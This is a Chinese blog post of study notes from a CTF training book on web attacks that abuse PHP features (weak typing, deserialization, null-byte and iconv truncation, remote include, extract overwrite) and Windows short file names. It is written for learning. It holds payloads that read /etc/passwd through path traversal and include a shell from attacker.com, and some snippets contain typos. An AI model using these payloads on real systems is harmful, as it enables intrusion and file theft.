《CTF特训营》web部分读书笔记(四)利用特性攻击(php和win系统)

前言

继续阅读《CTF特训营》web部分
本节是利用特性攻击

1、PHP语言特性

弱类型

比较相等可以用=====
前者会自动进行类型转换,存在漏洞

一些相等的值

"==0==false
'123'==123
'abc'==0
'123a'==123
'0x01'==1
'0e123456789'=='0e987654321'
[false]==[0]==[NULL]==["]
NULL==false==0
true==1

一个例子

if(&_GET['a']!=&_GET['b'] && md5(&_GET['a'])===md5(&_GET['b'])){
	echo $flag;
}

可以用a[]=1&b[]=2绕过
当md5函数的参数是数组时,函数会返回NULL
两个都返回NULL就成功绕过了

反序列化

PHP的serializeunserialize函数
配合特殊的类magic函数:__construct_destruct__toString__sleep__wakeup

例子


&lists = []
Class filelist{
	public function __toString()
	{
		return highlight_file('hiehiehie.txt',true).highlight_file($thie->source,true);
	}
}
//...
?>

将source的变量设置为想要读取的文件名
再序列化即可


&lists = []
Class filelist{
	public function __toString()
	{
		return highlight_file('hiehiehie.txt',true).highlight_file($thie->source,true);
	}
}
&f=new filelist();
$f->source="/etc/passwd";
print_r(serialize(&f)):

参考:phithon对joomla漏洞的分析

截断

PHP内核是C语言
在遇到NULL(/x00)字符时会当作结束标记

例子


	&file = &_GET['file'];
	include $file.'.tpl.html';

绕过办法

?file=../../../etc/passwd%00
?file=../../../{*N}/etc/passwd

不过这个漏洞随着php更新消失了

另一个漏洞是iconv函数

例子


	$file=$_GET['file'].'.tpl.html';
	include(iconv("UTF-8","gb2312",$file));

当file中包含非法utf-8字符时,iconv函数会截断字符串
提交?file=shell.jpg%ff即可绕过
因为单个\x80-\xff都是非法的
同样的,这个漏洞也随着php更新消失了

伪协议

在php.ini的设置中若allow_url_include=1
即允许远程包含

可以输入

?file=http://attacker.com/shell.jpg

上传shell

类似的还有zip协议和phar协议

变量覆盖

函数使用不当

例子


	$auth=false;
	extract($_GET);
	if($auth){
		echo "flag{}";
	}else{
		echo "Access Denied";
	}
?>

extract函数将GET传入的数据转换为变量名和变量值

payload

?auth=1

防护绕过

open_basedir函数

  • 防御PHP跨目录进行文件读写
  • 通过DirectoryIterator+Glob绕过

disable_function函数

  • 禁用危险函数:system、exec、shell_exec、passthru
  • 依赖系统漏洞,如LD_PRELOAD来绕过

2、windows系统特性

短文件名

可以用短文件爆破和下载长文件
一些工具可参考lijiejie的IIS短文件名扫描工具

文件上传

通过\x80-\xff来绕过黑名单

结语

主要是php的特性
根据之前做题的经验
php5.5之前有很多漏洞
需要熟悉

你可能感兴趣的:(ctf)